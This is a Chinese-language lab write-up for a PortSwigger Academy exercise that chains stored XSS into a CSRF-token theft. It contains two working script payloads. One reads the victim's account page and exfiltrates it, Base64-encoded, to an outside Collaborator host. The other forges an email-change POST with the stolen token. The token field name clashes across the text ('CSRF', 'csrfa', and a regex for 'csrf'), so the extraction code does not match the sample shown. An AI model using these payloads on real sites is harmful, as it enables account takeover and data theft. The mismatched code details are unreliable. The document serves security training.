> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-to-bypass-csrf-defenses.md).

# 用于绕过 CSRF 防御的 XSS

用于绕过 CSRF 防御的 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 XSS 绕过 CSRF 防护

本实验室在博客评论功能中存在一个存储型 XSS 漏洞。目标是利用此漏洞从查看评论的用户那里窃取 CSRF 令牌，然后用它来更改该账户的电子邮件地址。你可以使用以下凭据连接： `wiener:peter`.

* 页面上有一个用于更新电子邮件的字段。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d0c3e3fdf256c4045049286cc74977393e309d0%2Fimage%20(409).png?alt=media" alt=""><figcaption></figcaption></figure>

* 页面上有一个用于更新电子邮件的字段。
* 通过拦截更新请求，可以观察到参数（示例）：
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acf18d1bfacd9275c4c9b9f4ef7d406309692d4f%2Fimage%20(410).png?alt=media" alt=""><figcaption></figcaption></figure>

策略：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fac86c14624fdd6d6fa6d7bddd3d453839367b55%2Fimage%20(411).png?alt=media" alt=""><figcaption></figcaption></figure>

1. 发布一条包含脚本的评论，当受害者查看页面时，该脚本会获取账户页面的 HTML（`/my-account`）并使用同步或异步请求。
2. 将该 HTML 外传到受控的监听服务器（如有需要可编码为 Base64）。
3. 在攻击端获取 CSRF 令牌，并在受害者上下文中执行的第二个脚本里，向以下地址发起 POST 请求： `/my-account/change-email` 通过同时提供新地址和已获取的 CSRF 令牌——该请求会使用受害者的会话 cookie，因为脚本是在其浏览器中运行的。

将账户页面的源代码外传到监听服务器（编码为 Base64）：

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78b430d57e932a06cb23c1016c20ab0b6567f2a%2Fimage%20(412).png?alt=media" alt=""><figcaption></figcaption></figure>

观察到的结果：

* 在我们的基础设施上监听到两次包含以 Base64 编码的 HTML 的请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d5add686ed6439e37422a581d6c66b3cc94bbb6%2Fimage%20(413).png?alt=media" alt=""><figcaption></figcaption></figure>

* 解码后，HTML 包含账户信息：用户名 `administrator`、当前电子邮件以及 CSRF 令牌，位于一个 `输入` 字段中（例如 `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` 在所提供的示例中）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60dd1106ab6bb805c52a84b6ffc7961bda557b95%2Fimage%20(414).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>您的用户名是：administrator</p>
    <p>您的电子邮件是：<span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>电子邮件</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> 更新电子邮件 </button>
        </form>
</div>
```

从 HTML 中恢复 CSRF 令牌并提交电子邮件更改（POST）：

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

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